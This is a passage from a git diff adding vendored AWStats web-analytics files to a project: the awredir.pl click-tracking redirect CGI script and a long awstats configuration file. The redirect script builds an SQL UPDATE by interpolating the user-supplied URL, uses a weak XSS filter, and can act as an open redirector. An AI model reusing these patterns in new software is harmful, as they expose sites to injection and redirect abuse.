line with the END tag + if (/^$endSearchStr\b/) { + $startPrinting = 0; + } + + if ($startPrinting) { + s/ /,/g; + print "$_\n"; + if ($outputFile ne '') { + print OUT "$_\n"; + } + } + # if we find an END tag and we haven't started printing, reset the + # comment array to start re-capturing comments for next section + if ((/^END_/) && ($startPrinting == 0)) { + $commentCount = -1; + } + + # put the start printing test after the first input line + # to eliminate printing the line with the BEGIN tag...find it + # here, then start printing on the next input line + if (/^$startSearchStr\b/) { + $startPrinting = 1; + # print the comment array - it provides labels for the columns + for ($i = 0; $i <= $commentCount; $i++ ) { + print "$commentArray[$i]\n"; + } + } +} + +close(IN); + +# Close the output file if there was one used +if ($outputFile ne '') { + close(OUT); +} diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awredir.pl b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awredir.pl new file mode 100644 index 0000000..932389f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awredir.pl @@ -0,0 +1,220 @@ +#!/usr/bin/perl +#------------------------------------------------------- +# Save the click done on managed hits into a trace file +# and return to browser a redirector to tell browser to visit this URL. +# Ex: <a href="http://athena/cgi-bin/awredir/awredir.pl?tag=TAGFORLOG&key=ABCDEFGH&url=http://212.43.217.240/%7Eforumgp/forum/list.php3?f=11">XXX</a> +# Where ABCDEFGH is md5(YOURKEYFORMD5.url) +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see <http://www.gnu.org/licenses/>. +#------------------------------------------------------- + +#use DBD::mysql; +use Digest::MD5 qw(md5 md5_hex md5_base64); + + +#------------------------------------------------------- +# Defines +#------------------------------------------------------- +use vars qw/ $REVISION $VERSION /; +$REVISION='$Revision: 1.15 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +$VERSION="1.2 (build $REVISION)"; + +use vars qw / $DIR $PROG $Extension $DEBUG $DEBUGFILE $REPLOG $DEBUGRESET $SITE $REPCONF /; +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; +$DEBUG=0; # Debug level +$DEBUGFILE="$PROG.log"; # Debug output (A log file name or "screen" to have debug on screen) +$REPLOG="$DIR"; # Debug directory + +$TRACEBASE=0; # Set to 1 to track click on links that point to extern site into a database +$TRACEFILE=0; # Set to 1 to track click on links that point to extern site into a file +$TXTDIR="$DIR/../../../logs"; # Directory where to write tracking file (if TRACEFILE=1) +$TXTFILE="awredir.trc"; # Tracking file (if TRACEFILE=1) +$EXCLUDEIP="127.0.0.1"; + +# Put here a personalised value. +# If you dont want to use the security key in link to avoid use of awredir by an external web +# site you can set this to empty string, but warning this is a security hole as everybody +# can use awredir on your site to redirect to any web site (even non legal web sites). +$KEYFORMD5='YOURKEYFORMD5'; +# Put here url pattern you want to allow event if parameter key is not provided. +$AUTHORIZEDWITHOUTKEY=''; + + +#------------------------------------------------------- +# Functions +#------------------------------------------------------- + +sub error { + print "Content-type: text/html; charset=iso-8859-1\n"; + print "\n"; + print "<html>\n"; + print "<head>\n"; + print "</head>\n"; + print "\n"; + print "<body>\n"; + print "<center><br>\n"; + print "<font size=2><b>AWRedir</b></font><br>\n\n"; + print "<font color=#880000>$_[0].</font><br><br>\n"; + print "Setup (setup or logfile permissions) may be wrong.\n"; + $date=localtime(); + print "<CENTER><br><font size=1>$date - <b>Advanced Web Redirector $VERSION</b><br>\n"; + print "<br>\n"; + print "</body>"; + print "</html>"; + die; +} + +#------------------------------------------------------------------------------ +# Function: Decode an URL encoded string +# Parameters: stringtodecode +# Input: None +# Output: None +# Return: decodedstring +#-------------------------------------------------------------------- +sub DecodeEncodedString { + my $stringtodecode=shift; + $stringtodecode =~ s/\+/ /g; + $stringtodecode =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Decode encoded URL + return $stringtodecode; +} + +#------------------------------------------------------------------------------ +# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks' +# and clean | char. +# Parameters: stringtoclean +# Input: None +# Output: None +# Return: cleanedstring +#------------------------------------------------------------------------------ +sub CleanXSS { + my $stringtoclean = shift; + + # To avoid html tags and javascript + $stringtoclean =~ s/</</g; + $stringtoclean =~ s/>/>/g; + $stringtoclean =~ s/|//g; + + # To avoid onload=" + $stringtoclean =~ s/onload//g; + return $stringtoclean; +} + + +#------------------------------------------------------- +# MAIN +#------------------------------------------------------- + +if ($DEBUG) { + open(LOGFILE,">$REPLOG/$PROG.log"); + print LOGFILE "----- $PROG $VERSION -----\n"; +} + +if (! $ENV{'GATEWAY_INTERFACE'}) { # Run from command line + print "----- $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "This script is absolutely not required to use AWStats.\n"; + print "It's a third tool that can help webmaster in their tracking tasks but is\n"; + print "not used by AWStats engine.\n"; + print "\n"; + print "This tools must be used as a CGI script. When called as a CGI, it returns to\n"; + print "browser a redirector to tell it to show the page provided in 'url' parameter.\n"; + print "So, to use this script, you must replace HTML code for external links onto your\n"; + print "HTML pages from\n"; + print "<a href=\"http://externalsite/pagelinked\">Link</a>\n"; + print "to\n"; + print "<a href=\"http://mysite/cgi-bin/awredir.pl?key=ABCDEFGH&url=http://externalsite/pagelinked\">Link</a>\n"; + print "\n"; + print "For your web visitor, there is no difference. However this allow you to track\n"; + print "clicks done on links onto your web pages that point to external web sites,\n"; + print "because an entry will be seen in your own server log, to awredir.pl script\n"; + print "with url parameter, even if link was pointing to another external web server.\n"; + print "\n"; + sleep 2; + exit 0; +} + +if ((! $AUTHORIZEDWITHOUTKEY) && ($KEYFORMD5 eq 'YOURKEYFORMD5')) { + error("Error: You must change value of constant KEYFORMD5 in awredir.pl script."); +} + +# Extract tag +$Tag='NOTAG'; +if ($ENV{QUERY_STRING} =~ /tag=\"?([^\"&]+)\"?/) { $Tag=$1; } + +$Key='NOKEY'; +if ($ENV{QUERY_STRING} =~ /key=\"?([^\"&]+)\"?/) { $Key=$1; } + +# Extract url to redirect to +$Url=$ENV{QUERY_STRING}; +if ($Url =~ /url=\"([^\"]+)\"/) { $Url=$1; } +elsif ($Url =~ /url=(.+)$/) { $Url=$1; } +$Url = DecodeEncodedString($Url); +$UrlParam=$Url; + +# Sanitize parameters +$Tag=CleanXSS($Tag); +$Key=CleanXSS($Key); +$UrlParam=CleanXSS($UrlParam); + + +if (! $UrlParam) { + error("Error: Bad use of $PROG. To redirect an URL with $PROG, use the following syntax:<br><i>/cgi-bin/$PROG.pl?url=http://urltogo</i>"); +} + +if ($Url !~ /^http/i) { $Url = "http://".$Url; } +if ($DEBUG) { print LOGFILE "Url=$Url\n"; } + +if ((! $AUTHORIZEDWITHOUTKEY || $UrlParam !~ /$AUTHORIZEDWITHOUTKEY/) && $KEYFORMD5 && ($Key ne md5_hex($KEYFORMD5.$UrlParam))) { +# error("Error: Bad value for parameter key=".$Key." to allow a redirect to ".$UrlParam." - ".$KEYFORMD5." - ".md5_hex($KEYFORMD5.$UrlParam) ); + error("Error: Bad value for parameter key=".$Key." to allow a redirect to ".$UrlParam.". Key must be hexadecimal md5(KEYFORMD5.".$UrlParam.") where KEYFORMD5 is value hardcoded into awredir.pl. Note: You can remove use of key by setting KEYFORMD5 to empty string in script awredir.pl"); +} + +# Get date +($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear,$nowwday,$nowyday,$nowisdst) = localtime(time); +if ($nowyear < 100) { $nowyear+=2000; } else { $nowyear+=1900; } +$nowsmallyear=$nowyear;$nowsmallyear =~ s/^..//; +if (++$nowmonth < 10) { $nowmonth = "0$nowmonth"; } +if ($nowday < 10) { $nowday = "0$nowday"; } +if ($nowhour < 10) { $nowhour = "0$nowhour"; } +if ($nowmin < 10) { $nowmin = "0$nowmin"; } +if ($nowsec < 10) { $nowsec = "0$nowsec"; } + +if ($TRACEBASE == 1) { + if ($ENV{REMOTE_ADDR} !~ /$EXCLUDEIP/) { + if ($DEBUG == 1) { print LOGFILE "Execution requete Update sur BASE=$BASE, USER=$USER, PASS=$PASS\n"; } + my $dbh = DBI->connect("DBI:mysql:$BASE", $USER, $PASS) || die "Can't connect to DBI:mysql:$BASE: $dbh->errstr\n"; + my $sth = $dbh->prepare("UPDATE T_LINKS set HITS_LINKS = HIT_LINKS+1 where URL_LINKS = '$Url'"); + $sth->execute || error("Error: Unable execute query:$dbh->err, $dbh->errstr"); + $sth->finish; + $dbh->disconnect; + if ($DEBUG == 1) { print LOGFILE "Execution requete Update - OK\n"; } + } +} + +if ($TRACEFILE == 1) { + if ($ENV{REMOTE_ADDR} !~ /$EXCLUDEIP/) { + open(FICHIER,">>$TXTDIR/$TXTFILE") || error("Error: Enable to open trace file $TXTDIR/$TXTFILE: $!"); + print FICHIER "$nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\t$ENV{REMOTE_ADDR}\t$Tag\t$Url\n"; + close(FICHIER); + } +} + +# Redir html instructions +print "Location: $Url\n\n"; + +if ($DEBUG) { + print LOGFILE "Redirect to $Url\n"; + close(LOGFILE); +} + +0; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.extra.conf b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.extra.conf new file mode 100644 index 0000000..c991aa1 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.extra.conf @@ -0,0 +1,1600 @@ +# AWSTATS CONFIGURE FILE 7.1 +#----------------------------------------------------------------------------- +# Copy this file into awstats.www.mydomain.conf and edit this new config file +# to setup AWStats (See documentation in docs/ directory). +# The config file must be in /etc/awstats, /usr/local/etc/awstats or /etc (for +# Unix/Linux) or same directory than awstats.pl (Windows, Mac, Unix/Linux...) +# To include an environment variable in any parameter (AWStats will replace +# it with its value when reading it), follow the example: +# Parameter="__ENVNAME__" +# Note that environment variable AWSTATS_CURRENT_CONFIG is always defined with +# the config value in an AWStats running session and can be used like others. +#----------------------------------------------------------------------------- +# $Revision: 1.355 $ - $Author: eldy $ - $Date: 2013/02/10 15:39:22 $ + + + +#----------------------------------------------------------------------------- +# MAIN SETUP SECTION (Required to make AWStats work) +#----------------------------------------------------------------------------- + +# "LogFile" contains the web, ftp or mail server log file to analyze. +# Possible values: A full path, or a relative path from awstats.pl directory. +# Example: "/var/log/apache/access.log" +# Example: "../logs/mycombinedlog.log" +# You can also use tags in this filename if you need a dynamic file name +# depending on date or time (Replacement is made by AWStats at the beginning +# of its execution). This is available tags : +# %YYYY-n is replaced with 4 digits year we were n hours ago +# %YY-n is replaced with 2 digits year we were n hours ago +# %MM-n is replaced with 2 digits month we were n hours ago +# %MO-n is replaced with 3 letters month we were n hours ago +# %DD-n is replaced with day we were n hours ago +# %HH-n is replaced with hour we were n hours ago +# %NS-n is replaced with number of seconds at 00:00 since 1970 +# %WM-n is replaced with the week number in month (1-5) +# %Wm-n is replaced with the week number in month (0-4) +# %WY-n is replaced with the week number in year (01-52) +# %Wy-n is replaced with the week number in year (00-51) +# %DW-n is replaced with the day number in week (1-7, 1=sunday) +# use n=24 if you need (1-7, 1=monday) +# %Dw-n is replaced with the day number in week (0-6, 0=sunday) +# use n=24 if you need (0-6, 0=monday) +# Use 0 for n if you need current year, month, day, hour... +# Example: "/var/log/access_log.%YYYY-0%MM-0%DD-0.log" +# Example: "C:/WINNT/system32/LogFiles/W3SVC1/ex%YY-24%MM-24%DD-24.log" +# You can also use a pipe if log file come from a pipe : +# Example: "gzip -d </var/log/apache/access.log.gz |" +# If there are several log files from load balancing servers : +# Example: "/pathtotools/logresolvemerge.pl *.log |" +# +#LogFile="../log/app.%YYYY-24-%MM-24-%DD-24.txt" +LogFile="/var/lib/tomcat7/other_logs/app.%YYYY-24-%MM-24-%DD-24.txt" + +# Enter the log file type you want to analyze. +# Possible values: +# W - For a web log file +# S - For a streaming log file +# M - For a mail log file +# F - For a ftp log file +# Example: W +# Default: W +# +LogType=W + + +# Enter here your log format (Must match your web server config. See setup +# instructions in documentation to know how to configure your web server to +# have the required log format). +# Possible values: 1,2,3,4 or "your_own_personalized_log_format" +# 1 - Apache or Lotus Notes/Domino native combined log format (NCSA combined/XLF/ELF log format) +# 2 - IIS or ISA format (IIS W3C log format). See FAQ-COM115 For ISA. +# 3 - Webstar native log format. +# 4 - Apache or Squid native common log format (NCSA common/CLF log format) +# With LogFormat=4, some features (browsers, os, keywords...) can't work. +# "your_own_personalized_log_format" = If your log is ftp, mail or other format, +# you must use following keys to define the log format string (See FAQ for +# ftp, mail or exotic web log format examples): +# %host Client hostname or IP address (or Sender host for mail log) +# %host_r Receiver hostname or IP address (for mail log) +# %lognamequot Authenticated login/user with format: "john" +# %logname Authenticated login/user with format: john +# %time1 Date and time with format: [dd/mon/yyyy:hh:mm:ss +0000] or [dd/mon/yyyy:hh:mm:ss] +# %time2 Date and time with format: yyyy-mm-dd hh:mm:ss +# %time3 Date and time with format: Mon dd hh:mm:ss or Mon dd hh:mm:ss yyyy +# %time4 Date and time with unix timestamp format: dddddddddd +# %time5 Date and time with format iso: yyyy-mm-ddThh:mm:ss +# %methodurl Method and URL with format: "GET /index.html HTTP/x.x" +# %methodurlnoprot Method and URL with format: "GET /index.html" +# %method Method with format: GET +# %url URL only with format: /index.html +# %query Query string (used by URLWithQuery option) +# %code Return code status (with format for web log: 999) +# %bytesd Size of document in bytes +# %refererquot Referer page with format: "http://from.com/from.htm" +# %referer Referer page with format: http://from.com/from.htm +# %uabracket User agent with format: [Mozilla/4.0 (compatible, ...)] +# %uaquot User agent with format: "Mozilla/4.0 (compatible, ...)" +# %ua User agent with format: Mozilla/4.0_(compatible...) +# %gzipin mod_gzip compression input bytes: In:XXX +# %gzipout mod_gzip compression output bytes & ratio: Out:YYY:ZZpct. +# %gzipratio mod_gzip compression ratio: ZZpct. +# %deflateratio mod_deflate compression ratio with format: (ZZ) +# %email EMail sender (for mail log) +# %email_r EMail receiver (for mail log) +# %virtualname Web sever virtual hostname. Use this tag when same log +# contains data of several virtual web servers. AWStats +# will discard records not in SiteDomain nor HostAliases +# %cluster If log file is provided from several computers (merged by +# logresolvemerge.pl), use this to define cluster id field. +# %extraX Another field that you plan to use for building a +# personalized report with ExtraSection feature (See later). +# If your log format has some fields not included in this list, use: +# %other Means another not used field +# %otherquot Means another not used double quoted field +# +# Examples for Apache combined logs (following two examples are equivalent): +# LogFormat = 1 +# LogFormat = "%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" +# +# Example for IIS: +# LogFormat = 2 +# +LogFormat= "%time2 %extra1" + + +# If your log field's separator is not a space, you can change this parameter. +# This parameter is not used if LogFormat is a predefined value (1,2,3,4) +# Backslash can be used as escape character. +# Example: " " +# Example: "\t" +# Example: "\|" +# Example: "," +# Default: " " +# +LogSeparator=" " + + +# "SiteDomain" must contain the main domain name, or the main intranet web +# server name, used to reach the web site. +# If you share the same log file for several virtual web servers, this +# parameter is used to tell AWStats to filter record that contains records for +# this virtual host name only (So check that this virtual hostname can be +# found in your log file and use a personalized log format that include the +# %virtualname tag). +# But for multi hosting a better solution is to have one log file for each +# virtual web server. In this case, this parameter is only used to generate +# full URL's links when ShowLinksOnUrl option is set to 1. +# If analyzing mail log, enter here the domain name of mail server. +# Example: "myintranetserver" +# Example: "www.domain.com" +# Example: "ftp.domain.com" +# Example: "domain.com" +# +SiteDomain="observatorio.c3sl.ufpr.br" + + +# Enter here all other possible domain names, addresses or virtual host +# aliases someone can use to access your site. Try to keep only the minimum +# number of possible names/addresses to have the best performances. +# You can repeat the "SiteDomain" value in this list. +# This parameter is used to analyze referer field in log file and to help +# AWStats to know if a referer URL is a local URL of same site or an URL of +# another site. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Note: You can also use @/mypath/myfile if list of aliases are in a file. +# Example: "www.myserver.com localhost 127.0.0.1 REGEX[mydomain\.(net|org)$]" +# +HostAliases="localhost 127.0.0.1 REGEX[myserver\.com$]" + + +# If you want to have hosts reported by name instead of ip address, AWStats +# need to make reverse DNS lookups (if not already done in your log file). +# With DNSLookup to 0, all hosts will be reported by their IP addresses and +# not by the full hostname of visitors (except if names are already available +# in log file). +# If you want/need to set DNSLookup to 1, don't forget that this will reduce +# dramatically AWStats update process speed. Do not use on large web sites. +# Note: Reverse DNS lookup is done on IPv4 only (Enable ipv6 plugin for IPv6). +# Note: Result of DNS Lookup can be used to build the Country report. However +# it is highly recommanded to enable the plugin 'geoip' or 'geoipfree' to +# have an accurate Country report with no need of DNS Lookup. +# Possible values: +# 0 - No DNS Lookup +# 1 - DNS Lookup is fully enabled +# 2 - DNS Lookup is made only from static DNS cache file (if it exists) +# Default: 2 +# +DNSLookup=0 + + +# When AWStats updates its statistics, it stores results of its analysis in +# files (AWStats database). All those files are written in the directory +# defined by the "DirData" parameter. Set this value to the directory where +# you want AWStats to save its database and working files into. +# Warning: If you want to be able to use the "AllowToUpdateStatsFromBrowser" +# feature (see later), you need "Write" permissions by web server user on this +# directory (and "Modify" for Windows NTFS file systems). +# Example: "/var/lib/awstats" +# Example: "../data" +# Example: "C:/awstats_data_dir" +# Default: "." (means same directory as awstats.pl) +# +DirData="/root/monitoramento-ej/wwwroot/cgi-bin/data" + + +# Relative or absolute web URL of your awstats cgi-bin directory. +# This parameter is used only when AWStats is run from command line +# with -output option (to generate links in HTML reported page). +# Example: "/awstats" +# Default: "/cgi-bin" (means awstats.pl is in "/yourwwwroot/cgi-bin") +# +DirCgi="/cgi-bin" + + +# Relative or absolute web URL of your awstats icon directory. +# If you build static reports ("... -output > outputpath/output.html"), enter +# path of icon directory relative to the output directory 'outputpath'. +# Example: "/awstatsicons" +# Example: "../icon" +# Default: "/icon" (means you must copy icon directories in "/mywwwroot/icon") +# +DirIcons="icon" + + +# When this parameter is set to 1, AWStats adds a button on report page to +# allow to "update" statistics from a web browser. Warning, when "update" is +# made from a browser, AWStats is run as a CGI by the web server user defined +# in your web server (user "nobody" by default with Apache, "IUSR_XXX" with +# IIS), so the "DirData" directory and all already existing history files +# awstatsMMYYYY[.xxx].txt must be writable by this user. Change permissions if +# necessary to "Read/Write" (and "Modify" for Windows NTFS file systems). +# Warning: Update process can be long so you might experience "time out" +# browser errors if you don't launch AWStats frequently enough. +# When set to 0, update is only made when AWStats is run from the command +# line interface (or a task scheduler). +# Possible values: 0 or 1 +# Default: 0 +# +AllowToUpdateStatsFromBrowser=0 + + +# AWStats saves and sorts its database on a month basis (except if using +# databasebreak option from command line). +# However, if you choose the -month=all from command line or +# value '-Year-' from CGI combo form to have a report for all year, AWStats +# needs to reload all data for full year (each month), and sort them, +# requiring a large amount of time, memory and CPU. This might be a problem +# for web hosting providers that offer AWStats for large sites, on shared +# servers, to non CPU cautious customers. +# For this reason, the 'full year' is only enabled on Command Line by default. +# You can change this by setting this parameter to 0, 1, 2 or 3. +# Possible values: +# 0 - Never allowed +# 1 - Allowed on CLI only, -Year- value in combo is not visible +# 2 - Allowed on CLI only, -Year- value in combo is visible but not allowed +# 3 - Possible on CLI and CGI +# Default: 2 +# +AllowFullYearView=2 + + + +#----------------------------------------------------------------------------- +# OPTIONAL SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When the update process runs, AWStats can set a lock file in TEMP or TMP +# directory. This lock is to avoid to have 2 update processes running at the +# same time to prevent unknown conflicts problems and avoid DoS attacks when +# AllowToUpdateStatsFromBrowser is set to 1. +# Because, when you use lock file, you can experience sometimes problems in +# lock file not correctly removed (killed process for example requires that +# you remove the file manualy), this option is not enabled by default (Do +# not enable this option with no console server access). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +EnableLockForUpdate=0 + + +# AWStats can do reverse DNS lookups through a static DNS cache file that was +# previously created manually. If no path is given in static DNS cache file +# name, AWStats will search DirData directory. This file is never changed. +# This option is not used if DNSLookup=0. +# Note: DNS cache file format is 'minsince1970 ipaddress resolved_hostname' +# or just 'ipaddress resolved_hostname' +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscache" +# Default: "dnscache.txt" +# +DNSStaticCacheFile="dnscache.txt" + + +# AWStats can do reverse DNS lookups through a DNS cache file that was created +# by a previous run of AWStats. This file is erased and recreated after each +# statistics update process. You don't need to create and/or edit it. +# AWStats will read and save this file in DirData directory. +# This option is used only if DNSLookup=1. +# Note: If a DNSStaticCacheFile is available, AWStats will check for DNS +# lookup in DNSLastUpdateCacheFile after checking into DNSStaticCacheFile. +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscachelastupdate" +# Default: "dnscachelastupdate.txt" +# +DNSLastUpdateCacheFile="dnscachelastupdate.txt" + + +# You can specify specific IP addresses that should NOT be looked up in DNS. +# This option is used only if DNSLookup=1. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "123.123.123.123 REGEX[^192\.168\.]" +# Default: "" +# +SkipDNSLookupFor="" + + +# The following two parameters allow you to protect a config file from being +# read by AWStats when called from a browser if web user has not been +# authenticated. Your AWStats program must be in a web protected "realm" (With +# Apache, you can use .htaccess files to do so. With other web servers, see +# your server setup manual). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +AllowAccessFromWebToAuthenticatedUsersOnly=0 + + +# This parameter gives the list of all authorized authenticated users to view +# statistics for this domain/config file. This parameter is used only if +# AllowAccessFromWebToAuthenticatedUsersOnly is set to 1. +# Change : Effective immediatly +# Example: "user1 user2" +# Example: "__REMOTE_USER__" +# Default: "" +# +AllowAccessFromWebToFollowingAuthenticatedUsers="" + + +# When this parameter is defined to something, the IP address of the user that +# reads its statistics from a browser (when AWStats is used as a CGI) is +# checked and must match one of the IP address values or ranges. +# Change : Effective immediatly +# Example: "127.0.0.1 123.123.123.1-123.123.123.255" +# Default: "" +# +AllowAccessFromWebToFollowingIPAddresses="" + + +# If the "DirData" directory (see above) does not exist, AWStats return an +# error. However, you can ask AWStats to create it. +# This option can be used by some Web Hosting Providers that has defined a +# dynamic value for DirData (for example DirData="/home/__REMOTE_USER__") and +# don't want to have to create a new directory each time they add a new user. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +CreateDirDataIfNotExists=0 + + +# You can choose in which format the Awstats history database is saved. +# Note: Using "xml" format make AWStats building database files three times +# larger than using "text" format. +# Change : Database format is switched after next update +# Possible values: text or xml +# Default: text +# +BuildHistoryFormat=text + + +# If you prefer having the report output pages be built as XML compliant pages +# instead of simple HTML pages, you can set this to 'xhtml' (May not work +# properly with old browsers). +# Change : Effective immediatly +# Possible values: html or xhtml +# Default: html +# +BuildReportFormat=html + + +# AWStats databases can be updated from command line of from a browser (when +# used as a cgi program). So AWStats database files need write permission +# for both command line user and default web server user (nobody for Unix, +# IUSR_xxx for IIS/Windows,...). +# To avoid permission problems between update process (run by an admin user) +# and CGI process (ran by a low level user), AWStats can save its database +# files with read and write permissions for everyone. +# By default, AWStats keeps default user permissions on updated files. If you +# set AllowToUpdateStatsFromBrowser to 1, you can change this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +SaveDatabaseFilesWithPermissionsForEveryone=0 + + +# AWStats can purge log file, after analyzing it. Note that AWStats is able +# to detect new lines in a log file, to process only them, so you can launch +# AWStats as often as you want, even with this parameter to 0. +# With 0, no purge is made, so you must use a scheduled task or a web server +# that make this purge frequently. +# With 1, the purge of the log file is made each time AWStats update is run. +# This parameter doesn't work with IIS (This web server doesn't let its log +# file to be purged). +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +PurgeLogFile=0 + + +# When PurgeLogFile is setup to 1, AWStats will clean your log file after +# processing it. You can however keep an archive file of all processed log +# records by setting this parameter (For example if you want to use another +# log analyzer). The archived log file is saved in "DirData" with name +# awstats_archive.configname[.suffix].log +# This parameter is not used if PurgeLogFile=0 +# Change : Effective for new updates only +# Possible values: 0, 1, or tags (See LogFile parameter) for suffix +# Example: 1 +# Example: %YYYY%MM%DD +# Default: 0 +# +ArchiveLogRecords=0 + + +# Each time you run the update process, AWStats overwrites the 'historic file' +# for the month (awstatsMMYYYY[.*].txt) with the updated one. +# When write errors occurs (IO, disk full,...), this historic file can be +# corrupted and must be deleted. Because this file contains information of all +# past processed log files, you will loose old stats if removed. So you can +# ask AWStats to save last non corrupted file in a .bak file. This file is +# stored in "DirData" directory with other 'historic files'. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +KeepBackupOfHistoricFiles=0 + + +# Default index page name for your web server. +# Change : Effective for new updates only +# Example: "index.php index.html default.html" +# Default: "index.php index.html" +# +DefaultFile="index.php index.html" + + +# Do not include access from clients that match following criteria. +# If your log file contains IP addresses in host field, you must enter here +# matching IP addresses criteria. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "SkipHosts" is "OnlyHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Example: "localhost REGEX[^.*\.localdomain$]" +# Default: "" +# +SkipHosts="" + + +# Do not include access from clients with a user agent that match following +# criteria. If you want to exclude a robot, you should update the robots.pm +# file instead of this parameter. +# The opposite parameter of "SkipUserAgents" is "OnlyUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "konqueror REGEX[ua_test_v\d\.\d]" +# Default: "" +# +SkipUserAgents="" + + +# Use SkipFiles to ignore access to URLs that match one of following entries. +# You can enter a list of not important URLs (like framed menus, hidden pages, +# etc...) to exclude them from statistics. You must enter here exact relative +# URL as found in log file, or a matching REGEX value. Check apply on URL with +# all its query paramaters. +# For example, to ignore /badpage.php, just add "/badpage.php". To ignore all +# pages in a particular directory, add "REGEX[^\/directorytoexclude]". +# The opposite parameter of "SkipFiles" is "OnlyFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "/badpage.php /page.php?param=x REGEX[^\/excludedirectory]" +# Default: "" +# +SkipFiles="" + + +# Use SkipReferrersBlackList if you want to exclude records coming from a SPAM +# referrer. Parameter must receive a local file name containing rules applied +# on referrer field. If parameter is empty, no filter is applied. +# An example of such a file is available in lib/blacklist.txt +# Change : Effective for new updates only +# Example: "/mylibpath/blacklist.txt" +# Default: "" +# +# WARNING!! Using this feature make AWStats running very slower (5 times slower +# with black list file provided with AWStats ! +# +SkipReferrersBlackList="" + + +# Include in stats, only accesses from hosts that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular hosts, you can add those host names in +# this parameter. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "OnlyHosts" is "SkipHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Default: "" +# +OnlyHosts="" + + +# Include in stats, only accesses from user agent that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular browsers, you can add their user agents +# string in this parameter. +# The opposite parameter of "OnlyUserAgents" is "SkipUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "msie" +# Default: "" +# +OnlyUserAgents="" + + +# Include in stats, only accesses from authenticated users that match one of +# following entries. For example, if you want AWStats to filter access to keep +# only stats for authenticated users, you can add those users names in +# this parameter. Useful for statistics for per user ftp logs. +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "john bob REGEX[^testusers]" +# Default: "" +# +OnlyUsers="" + + +# Include in stats, only accesses to URLs that match one of following entries. +# For example, if you want AWStats to filter access to keep only stats that +# match a particular string, like a particular directory, you can add this +# directory name in this parameter. +# The opposite parameter of "OnlyFiles" is "SkipFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "REGEX[marketing_directory] REGEX[office\/.*\.(csv|sxw)$]" +# Default: "" +# +OnlyFiles="" + + +# Add here a list of kind of url (file extension) that must be counted as +# "Hit only" and not as a "Hit" and "Page/Download". You can set here all +# image extensions as they are hit downloaded that must be counted but they +# are not viewed pages. URLs with such extensions are not included in the TOP +# Pages/URL report. +# Note: If you want to exclude particular URLs from stats (No Pages and no +# Hits reported), you must use SkipFiles parameter. +# Change : Effective for new updates only +# Example: "css js class gif jpg jpeg png bmp ico rss xml swf zip arj rar gz z bz2 wav mp3 wma mpg avi" +# Example: "" +# Default: "css js class gif jpg jpeg png bmp ico rss xml swf" +# +NotPageList="css js class gif jpg jpeg png bmp ico rss xml swf" + + +# By default, AWStats considers that records found in web log file are +# successful hits if HTTP code returned by server is a valid HTTP code (200 +# and 304). Any other code are reported in HTTP status chart. +# Note that HTTP 'control codes', like redirection (302, 305) are not added by +# default in this list as they are not pages seen by a visitor but are +# protocol exchange codes to tell the browser to ask another page. Because +# this other page will be counted and seen with a 200 or 304 code, if you +# add such codes, you will have 2 pages viewed reported for only one in facts. +# Change : Effective for new updates only +# Example: "200 304 302 305" +# Default: "200 